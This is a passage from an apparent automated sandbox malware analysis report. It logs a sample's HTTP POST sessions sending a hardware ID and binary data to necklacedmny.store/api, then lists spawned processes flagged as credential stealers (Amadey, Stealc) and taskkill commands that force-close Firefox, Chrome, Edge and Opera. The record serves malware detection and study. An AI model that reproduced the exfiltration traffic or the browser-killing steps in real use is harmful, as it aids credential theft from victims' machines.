name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 00:20:22 UTC	1025	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:20:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=14cbbjb3fr1s33su8c2oqghrv4; expires=Sun, 23-Feb-2025 18:07:01 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5HpvLZmRQtapQkgc%2FuevPhEu9Ct%2BdyTgsfevFcwVyiWiRgZ4l%2B%2F7SDCq0RXBj79%2FgOG3eVIyHxrNB5xdZoLwFfuSCIsC4LvzK%2BB6kZZFYc7vAex2dwFXZ%2BBO2CBBQ8wj2GpptoM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8daf7a967ea22e4f-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1332&sent=12&recv=19&lost=0&retrans=0&sent_bytes=2845&recv_bytes=16052&delivery_rate=2159582&cwnd=248&unsent_bytes=0&cid=795cebee40b47094&ts=916&x=0"
2024-10-31 00:20:22 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-31 00:20:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.6	50074	188.114.97.3	443	3912	C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:20:23 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19968 Host: necklacedmny.store
2024-10-31 00:20:23 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 30 30 42 39 42 35 43 33 39 44 31 46 32 31 30 34 32 34 41 34 38 36 33 41 43 44 34 31 34 43 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"900B9B5C39D1F210424A4863ACD414C2--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 00:20:23 UTC	4637	OUT	Data Raw: f0 03 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8b 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 b1 e8 ef fa 6f c5 82 3f 0c fe 4d 70 35 98 09 ee b9 f1 d3 1b 7f 70 Data Ascii: +?2+?2+?o?Mp5p
2024-10-31 00:20:24 UTC	1021	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:20:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=anirnd94vqk6ldupt8o0764ber; expires=Sun, 23-Feb-2025 18:07:03 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kPd2%2FzfHUO%2F1lVjvBSBwWP%2FKOYlw18l166SLzmtl8R1IZwgTjcJOQeMT%2FsMGrWA71FACdCxopTa49OYaZ9V54sEiYp0eSo6%2FrWQH06R8Brxw0PhfCGL6Rh3HYTAMR68pJV588Us%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8daf7aa0289bddab-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1045&sent=12&recv=25&lost=0&retrans=0&sent_bytes=2844&recv_bytes=20932&delivery_rate=2817120&cwnd=252&unsent_bytes=0&cid=35a17a4a44629e0e&ts=705&x=0"
2024-10-31 00:20:24 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-31 00:20:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.6	50093	188.114.97.3	443	3912	C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:20:25 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1250 Host: necklacedmny.store
2024-10-31 00:20:25 UTC	1250	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 30 30 42 39 42 35 43 33 39 44 31 46 32 31 30 34 32 34 41 34 38 36 33 41 43 44 34 31 34 43 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"900B9B5C39D1F210424A4863ACD414C2--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 00:20:26 UTC	1020	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:20:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=uqe4jb2m5le5e8km6eksgvn0r7; expires=Sun, 23-Feb-2025 18:07:05 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zqAtQdY0m7jvfevC1MsER4VaaV3mNY%2BDTR%2B76vtwcguh468kHqHtvS%2FokXtUNnn29LP%2BMV2RZYUib3iG%2BZlrbM4dF2pxA618daPIwsRQb78Q%2BD8dwi3pwjCJ32hXab0ZJ020fPU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8daf7aae8ed22851-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1644&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2845&recv_bytes=2169&delivery_rate=1724836&cwnd=250&unsent_bytes=0&cid=f1a64623f2a75c3c&ts=500&x=0"
2024-10-31 00:20:26 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-31 00:20:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.6	50112	188.114.97.3	443	3912	C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:20:29 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 22236 Host: necklacedmny.store
2024-10-31 00:20:29 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 30 30 42 39 42 35 43 33 39 44 31 46 32 31 30 34 32 34 41 34 38 36 33 41 43 44 34 31 34 43 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"900B9B5C39D1F210424A4863ACD414C2--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 00:20:29 UTC	6905	OUT	Data Raw: 10 33 5d ec b1 8e 8b f3 6b 0f ff ab 40 bf 72 c3 01 8a 52 81 e9 51 4a dc c7 95 c5 7f be a5 ef ee b9 b9 9f 96 c6 f7 74 00 32 07 b1 13 92 c1 be 42 c8 8c 84 05 64 47 cf 0c da 28 b4 e9 c1 d7 b5 e1 9c 6e 6e 98 c6 13 3a 55 b6 c9 7e 68 b0 d8 5b 66 1f a0 76 39 f5 13 4f bf b2 74 3c ad f9 37 75 7d 13 2b 43 d4 a1 d5 56 58 6a ed 1d 75 9a 54 e4 ea bc ea e5 78 4a 04 7b 57 1d 3b 0b 8c a2 d2 24 42 bf 54 9c 07 2b 7f 5a 2a 61 f2 35 ca 52 57 74 96 a4 fb fa da a1 7d 6d be 73 46 88 11 d3 ec 6e a9 c8 d8 3c af e2 ca 2c 56 d7 9a bd 2b a9 ee 2f 60 03 2a 79 9d f4 57 d9 01 e8 5a 51 d5 8e ac fe c3 3b 31 4d 06 9d 0b 77 1e fc 45 74 b4 4e 95 df 8d 3c 62 70 af 29 bb 46 ac 00 e6 b4 1f 5b 81 f7 58 f6 42 3b 37 f5 a6 29 85 db c8 50 9b c0 63 86 ae 5f 23 fd 0e c8 f0 ce d2 d7 1e 1f 33 31 3a 45 Data Ascii: 3]k@rRQJt2BdG(nn:U~h[fv9Ot<7u}+CVXjuTxJ{W;$BT+Za5RWt}msFn<,V+/`yWZQ;1MwEtN<bp)F[XB;7)Pc_#31:E
2024-10-31 00:20:29 UTC	1023	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:20:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=59gi04vcilvaakerntpdn3ldoj; expires=Sun, 23-Feb-2025 18:07:08 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4h6%2F4Tf98I%2FJUMCNxELI%2BCLrqdinRvu27QTD02bkLSCprgEA4%2FSkpArB3UVluusWtmnCcP1W%2FDYqvhe86Ih69NMLsvkZimR58l3PhlCYbhpgK%2FnPM7uY6TQvOatQih2iFWXIT7I%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8daf7ac2ba0fe97a-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1755&sent=13&recv=27&lost=0&retrans=0&sent_bytes=2845&recv_bytes=23200&delivery_rate=1554482&cwnd=242&unsent_bytes=0&cid=4657ac9a36b84a1f&ts=625&x=0"
2024-10-31 00:20:29 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-31 00:20:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	1
Start time:	20:18:12
Start date:	30/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x200000
File size:	2'934'272 bytes
MD5 hash:	BCE38B95D18FB00988F62A035BFE7634
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.2257552528.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.2276102301.0000000000CEE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.2230449853.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.2274099543.0000000000CEE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.2257484498.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.2230118072.0000000000CEE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.2274015399.0000000000CEE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.2230671655.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.2245245805.0000000000CF0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.2244305444.0000000000CEE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.2276164069.0000000000CF6000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	20:18:32
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe"
Imagebase:	0x960000
File size:	2'820'096 bytes
MD5 hash:	15A0A8113FA863F5388159141EBEC606
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	20:18:34
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\FMQRQQBV70LQ52SA3P6LYU.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\FMQRQQBV70LQ52SA3P6LYU.exe"
Imagebase:	0xec0000
File size:	1'926'144 bytes
MD5 hash:	16C41103653669CEE6886CFDAE5F778F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000005.00000002.2454622073.0000000000EC1000.00000040.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000005.00000003.2410032085.0000000004C80000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	20:18:37
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x7e0000
File size:	1'926'144 bytes
MD5 hash:	16C41103653669CEE6886CFDAE5F778F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000002.2476648723.00000000007E1000.00000040.00000001.01000000.0000000C.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000003.2436361333.0000000005200000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	20:19:00
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x7e0000
File size:	1'926'144 bytes
MD5 hash:	16C41103653669CEE6886CFDAE5F778F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000008.00000003.2668893357.0000000004DE0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	20:19:09
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1002744001\hostname.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1002744001\hostname.exe"
Imagebase:	0xdd0000
File size:	427'008 bytes
MD5 hash:	EFA0B9C13BDE82281933A7A8C82D7C44
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 13%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	20:19:16
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe"
Imagebase:	0x3f0000
File size:	2'934'272 bytes
MD5 hash:	BCE38B95D18FB00988F62A035BFE7634
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000003.2933572737.0000000000F8E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000003.2870209889.0000000000F80000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000003.2925691440.0000000000F7F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000003.2904996879.0000000000F81000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000003.2933477170.0000000000F89000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000003.2908401382.0000000000F85000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000003.2909263406.0000000000F85000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000003.2933870732.0000000000F8F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000003.2926716507.0000000000F83000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000003.2925909050.0000000000F83000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000003.2926355406.0000000000F83000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000003.2881753122.0000000000F83000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 47%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	20:19:21
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe"
Imagebase:	0xa20000
File size:	2'086'912 bytes
MD5 hash:	099D997BEF4D9CC5BDD88ED65AF37B16
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000C.00000003.2887185051.0000000004B10000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000C.00000002.2941246980.0000000000A21000.00000040.00000001.01000000.00000010.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000C.00000002.2940937708.000000000087E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 42%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	20:19:27
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1002747001\b0a3006fe7.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1002747001\b0a3006fe7.exe"
Imagebase:	0x430000
File size:	919'552 bytes
MD5 hash:	493ACA6BC14CAF688147C5ABC24D08AD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 47%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	20:19:27
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0x110000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	20:19:27
Start date:	30/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	20:19:30
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0x110000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	20:19:30
Start date:	30/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	20:19:30
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0x110000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	20:19:30
Start date:	30/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	20:19:31
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0x110000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	20:19:31
Start date:	30/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
